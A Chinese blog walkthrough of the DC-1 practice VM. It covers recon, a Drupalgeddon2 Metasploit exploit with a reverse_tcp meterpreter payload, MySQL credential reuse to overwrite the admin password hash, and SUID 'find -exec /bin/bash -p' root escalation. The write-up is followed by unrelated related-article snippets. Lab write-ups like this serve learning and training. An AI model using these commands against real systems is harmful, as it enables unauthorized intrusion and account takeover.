DC-1 靶场学习
以前写过了,有一些忘了,快速的重温一遍。
DC一共九个靶场,目标一天一个。
文章目录
- 环境配置:
- 信息搜集:
- 漏洞复现:
- FLAG获取
环境配置:
最简单的办法莫过于将kali和DC-1同属为一个nat的网络下。
信息搜集:
首先探测靶机ip,两种方法:
arp-scan -l
nmap -sP 192.168.28.0/24
靶机ip为192.168.28.129
明显有一个80端口,继续用nmap探测端口情况。
还开起了22和111端口,wappalyzer信息搜集,看一下框架。
或者用kali自带的whatweb指纹探测。
whatweb -v 192.168.28.129
同样得到的是Drupal7.0版本,msfconsole里存在Drupal攻击模块。
漏洞复现:
search去找Drupal模块
search Drupal
进入exploit/unix/webapp/drupal_drupalgeddon2模块,然后查看payload。
use exploit/unix/webapp/drupal_drupalgeddon2
show payloads
php/meterpreter/reverse_tcp可以利用。
然后设置payload和配置。
set payload /php/meterpreter/reverse_tcp
set RHOSTS 192.168.28.129
输入exploit启动。
成功拿到shell,先反弹shell。
python -c "import pty;pty.spawn('/bin/bash')"
FLAG获取
然后ls -l发现flag1.
Every good CMS needs a config file - and so do you
每个好的CMS都需要一个配置文件 - 你也是
明显是想让我们去查看配置文件。
发现settings.php文件,查看后得到flag2.
Brute force and dictionary attacks aren't the* only ways to gain access (and you WILL need access).* What can you do with these credentials?
蛮力和字典攻击不是*只有获得访问权限的方法(您将需要访问权限)。* 您可以使用这些凭据做什么?
不能爆破,但在配置中存在mysql账号密码,可以通过mysql查看账号密码。
mysql -udbuser -pR0ck3t
登录mysql。
在其中找到user表。
但其中的pass被加密,猜测存在哈希加密代码,查找。
find . -name *hash*
找到的password-hash.sh,这肯定是加密代码,cat一下。
#!/usr/bin/php
<?php/*** Drupal hash script - to generate a hash from a plaintext password** Check for your PHP interpreter - on Windows you'll probably have to* replace line 1 with* #!c:/program files/php/php.exe** @param password1 [password2 [password3 ...]]* Plain-text passwords in quotes (or with spaces backslash escaped).*/if (version_compare(PHP_VERSION, "5.2.0", "<")) {$version = PHP_VERSION;echo <<<EOFERROR: This script requires at least PHP version 5.2.0. You invoked it withPHP version {$version}.
\n
EOF;exit;
}$script = basename(array_shift($_SERVER['argv']));if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {echo <<<EOFGenerate Drupal password hashes from the shell.Usage: {$script} [OPTIONS] "<plan-text password>"
Example: {$script} "mynewpassword"All arguments are long options.--help Print this page.--root <path>Set the working directory for the script to the specified path.To execute this script this has to be the root directory of yourDrupal installation, e.g. /home/www/foo/drupal (assuming Drupalrunning on Unix). Use surrounding quotation marks on Windows."<password1>" ["<password2>" ["<password3>" ...]]One or more plan-text passwords enclosed by double quotes. Theoutput hash may be manually entered into the {users}.pass field tochange a password via SQL to a known value.To run this script without the --root argument invoke it from the root directory
of your Drupal installation as./scripts/{$script}
\n
EOF;exit;
}$passwords = array();// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {switch ($param) {case '--root':// Change the working directory.$path = array_shift($_SERVER['argv']);if (is_dir($path)) {chdir($path);}break;default:// Add a password to the list to be processed.$passwords[] = $param;break;}
}define('DRUPAL_ROOT', getcwd());include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';foreach ($passwords as $password) {print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");
先看帮助,理解脚本如何使用。
然后运行脚本然后得到加密过后密码,随后密码替换。
update users set pass="$S$Ds.RBZ79FgPXwUiHZZd5eo2rVbYQzTomLgBhA24Sw04Bnr3UWSpB"where name="admin";
然后登录网站得到flag3
Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
特殊的 PERMS 将帮助找到 passwd - 但您需要 -exec 该命令来弄清楚如何获取阴影中的东西。
在/etc/passwd中发现flag4用户。
得到flag4。
Can you use this same method to find or access the flag in root?Probably. But perhaps it's not that easy. Or maybe it is?
您可以使用相同的方法来查找或访问 root 中的标志吗?
可能。但也许这并不容易。 或者也许是?
访问root文件夹需要root权限。
SUID提权:
find / -user root -perm -4000 -print 2>/dev/null
其中就有find,直接用。
find / -exec "/bin/bash" -p \;
进入root目录得到最后的flag。
Well done!!!!Hopefully you've enjoyed this and learned some new skills.You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
干的好!!!!希望您喜欢这个并学到了一些新技能。你可以让我知道你对这个小旅程的看法
通过推特与我联系 - @DCAU7
利用hydra暴力破解得到flag4的密码。
相关文章:

DC-1 靶场学习
以前写过了,有一些忘了,快速的重温一遍。 DC一共九个靶场,目标一天一个。 文章目录环境配置:信息搜集:漏洞复现:FLAG获取环境配置: 最简单的办法莫过于将kali和DC-1同属为一个nat的网络下。 信…...

oracle 不使用索引深入解析
首先,我们要确定数据库运行在何种优化模式下,相应的参数是:optimizer_mode。缺省的设置应是"choose",即如果对已分析的表查询的话选择CBO,否则选择RBO。如果该参数设为“rule”,则不论表是否分析…...

什么是自助式BI工具,有没有推荐
为什么需要自助式BI? 传统的BI采用的是“业务提报表需求,IT进行开发”的模式。决策管理者和业务人员提出用报表等来展示经营管理数据的需求;接着IT响应需求,进行需求沟通、数据处理加工、报表开发等主体工作;最后决策管…...

如何高效管理自己的时间,可以从这几个方向着手
如果你是上班族,天选打工人,你的绝大多数时间都属于老板,能够自己支配的时间其实并不多,所以你可能察觉不到时间管理的重要性。但如果你是自由职业者或者创业者,想要做出点成绩,那你就需要做好时间管理&…...

【PAT甲级题解记录】1014 Waiting in Line (30 分)
【PAT甲级题解记录】1014 Waiting in Line (30 分) 前言 Problem:1014 Waiting in Line (30 分) Tags:模拟 双端队列 Difficulty:剧情模式 想流点汗 想流点血 死而无憾 Address:1014 Waiting in Line (30 分) 问题描述 银行有N个…...

web接入大华摄像头实时视频
目录 一、FFmpeg下载及配置 二、nginx下载及配置 三、摄像rtsp取流 四、ffmpeg推流 五、html前端工作 一、FFmpeg下载及配置 地址:Download FFmpeg 下载并解压FFmpeg文件夹,配置环境变量:在“Path”变量原有变量值内容…...

Git代码冲突-不同分支之间的代码冲突
1、解决思路在团队开发中,提交代码到Git仓库时经常会遇到代码冲突的问题。- 原因:多人对相同的文件进行了编辑,造成代码存在差异化- 解决方案:1. 使用工具或git命令对比不同分支代码的差异化2. 把不同分支中有效代码进行保留&…...

KUKA KR C4机器人与S7-1200PLC进行PROFINET通信的具体方法和步骤
KUKA KR C4机器人与S7-1200PLC进行PROFINET通信的具体方法和步骤 首先,从KUKA机器人控制柜中将KOP备选软件包拷贝出来,然后在“WorkVisual Development Environment”安装KUKA备选软件包(版本非常重要,尽量从控制柜中拷贝), 也可以从以下链接中获取: KUKA机器人PROFINET…...

从0到1一步一步玩转openEuler--24 openEuler管理进程-调度启动进程
文章目录24 openEuler管理进程-调度启动进程24.1 定时运行一批程序(at)24.1.1 at命令24.1.2 设置时间24.1.3 执行权限24.2 周期性运行一批程序(cron)24.2.1 运行机制24.2.2 crontab命令24.2.3 crontab文件24.2.4 编辑配置文件操作…...

Servlet笔记(10):Session跟踪
Servlet Session 跟踪 Http是一种“无状态”协议,所以需要保存session会话,维持Web服务器连接。 Cookies 一个Web服务器可以分配一个唯一的session会话ID存储至Web客户端的cookie中,对于客户端的后续请求可以使用接收到的cookie来识别。 但是…...

Hive---分区表和分桶表
分区表和分桶表 文章目录分区表和分桶表分区表语法加载数据增加分区删除分区查看分区表有多少分区查看分区表结构动态分区开启动态分区功能(默认 true,开启)设置为非严格模式在所有执行 MR 的节点上,最大一共可以创建多少个动态分…...

C++ STL
1. 什么是STLSTL(standard template libaray-标准模板库):是C标准库的重要组成部分,不仅是一个可复用的组件库,而且是一个包罗数据结构与算法的软件框架。通俗来说:将常见的数据结构(顺序表、链表、栈、队列、堆。。。…...

java程序员要了解的sql语句优化技巧大全
sql语句规范 MySQL在Linux系统下数据库名,表名,存储过程名,函数名称,触发器名称等区分大小写,列名不区分大小写,原因是这些操作系统下文件名称区分大小写。 MySQL在Windows系统下全部不区分大小写…...

SQL零基础入门学习(十)
SQL零基础入门学习(九) SQL CREATE DATABASE 语句 CREATE DATABASE 语句用于创建数据库。 SQL CREATE DATABASE 语法 CREATE DATABASE dbname;SQL CREATE DATABASE 实例 下面的 SQL 语句创建一个名为 “my_db” 的数据库: CREATE DATAB…...

Pytorch从零开始训练模型【识别数字模型】并测试
1 准备数据集 import torch import torchvision # 去网上下载CIFAR10数据集【此数据集为经典的图像数字识别数据集】 # train True 代表取其中得训练数据集; # transform 参数代表将图像转换为Tensor形式 # download 为True时会去网上下载数据集到指定路径【root】…...

Leetcode DAY 44: 完全背包 and 零钱兑换 II and 组合总和 Ⅳ
完全背包518. 零钱兑换 II!!!程序未通过原因: 1、dp数组的初始化没考虑清楚 2、组合问题 dp数组的更新没考虑清楚 修改后: class Solution { public:int change(int amount, vector<int>& coins) {// dp[j…...

谷歌搜索留痕的技术公式【2023年新版】
本文主要分享谷歌搜索留痕的技术公式,让你更简单的去学习谷歌留痕的技术原理 本文由光算创作,有可能会被修改和剽窃,我们佛系对待这样的行为吧。 谷歌搜索留痕的技术公式是什么? 答案是:需要做排名的关键词海量能搜…...

2023财年Q4业绩继续下滑,ChatGPT能驱动英伟达重回巅峰吗?
近年来,全球科创风口不断变换,虚拟货币、元宇宙等轮番登场,不少企业匆忙上台又很快谢幕,但在此期间,有些企业扮演淘金潮中“卖水人”的角色,却也能够见证历史且屹立不倒。不过,这并不意味着其可…...

博客管理系统--项目说明
项目体验地址(账号:123,密码:123)http://120.53.20.213:8080/blog_system/login.html项目码云Gitee地址:https://gitee.com/GoodManSS/project/tree/master/blog_system(一)准备工作…...

一文带你了解MySQL的Server层和引擎层是如何交互的?
对于很多开发小伙伴来说,每天写SQL是必不可少的一项工作。 那不知道大家有没有深入了解过,当我们的一条SQL命令被执行时,MySQL是如何把数据从硬盘/内存中查出来并展示到用户面前的呢? 其实,MySQL也没有大家想象的那么…...

CVNLP 常用数据集语料库资源汇总
深度学习常用数据集汇总CVClassificationNLPSentiment AnalysisText ClassificationDialogue Generation其他AudioMulti-ModalClassificationSearch & MatchingImage CaptioningVisualQATri-Modal其他CV ghcnclimate_sphereModelNet40Shrec17 data labelcosmo Spherica…...

lisp 表达式求值规则
lisp 表达式求值规则 一个要求值的 lisp 对象被称为lisp表达式(form)。 lisp 表达式分三种 1. 自求值表达式。前面说过数字、字符串、向量都是自求值表达式。还有两个特殊的符号 t 和 nil 也可以看成是自求值表达式。 2. 符号表达式。符号的求值…...

Sophos Firewall OS (SFOS) 19.5 MR1 - 同步下一代防火墙
Sophos Firewall OS (SFOS) 19.5 MR1 - 同步下一代防火墙 请访问原文链接:https://sysin.org/blog/sfos-19-5/,查看最新版。原创作品,转载请保留出处。 作者主页:www.sysin.org Sophos Firewall v19.5 现已推出 Sophos Firewall…...

为什么很多人转行IT考虑后端开发Java?
顺应互联网时代发展的选择 在计算机广泛运用于社会的各个角落的今天,选择学习一门计算机语言真的很不错,它会让你的生活从此与众不同。软件渗透到组织的运营和管理的后台之中,形成了组织运营支撑平台。这种形态是传统软件的重要应用场景。在…...

WebDAV之π-Disk派盘+Cloud Player
Cloud Player 支持WebDAV方式连接π-Disk派盘。 推荐一款云媒体播放器是存储在常见云平台中的内容的通用播放器。 Cloud Player云媒体播放器是存储在常见云平台中的内容的通用播放器,无需将其下载到设备。支持以下云平台:Google Drive、DropBox、One Drive、WebDav等。此外,…...

Python-datetime、time包常用功能汇总
目录基础知识时间格式有哪些?Python中的时间格式化时间戳datetimedatedatetimetimedeltatime常用获取今天凌晨字符串?将一个时间格式的字符串转为时间戳将一个时间戳转为指定格式的字符串全部代码参考基础知识 时间格式有哪些? 「格林威治标…...

Spring MVC 源码- HandlerAdapter 组件(四)之 HandlerMethodReturnValueHandler
HandlerAdapter 组件HandlerAdapter 组件,处理器的适配器。因为处理器 handler 的类型是 Object 类型,需要有一个调用者来实现 handler 是怎么被执行。Spring 中的处理器的实现多变,比如用户的处理器可以实现 Controller 接口或者 HttpReques…...

2023面试必备:web自动化测试POM设计模式详解
1.背景 为UI页面写自动化测试用例时(如:web自动化、app自动化),使用普通的线性代码,测试用例中会存在大量的元素定位及操作细节,当UI界面变化时,测试用例也要跟着变化,在自动化测试…...

【人工智能 AI】Robotic Process Automation (RPA) 机器人流程自动化 (RPA)
目录 ROBOTIC PROCESS AUTOMATION SERVICES机器人流程自动化服务 What is RPA? 什么是机器人流程自动化?...

ubuntu/linux系统知识(37)systemd管理临时文件的方法systemd-tmpfiles
1、systemd-tmpfiles Linux产生大量的临时文件和目录,例如/tmp、/run 。systemd提供了一个结构化的可配置方法来管理临时文件和目录,即systemd-tmpfiles工具和配套的几个服务,以实现创建、删除和管理临时文件。 systemd创建了几个调用syste…...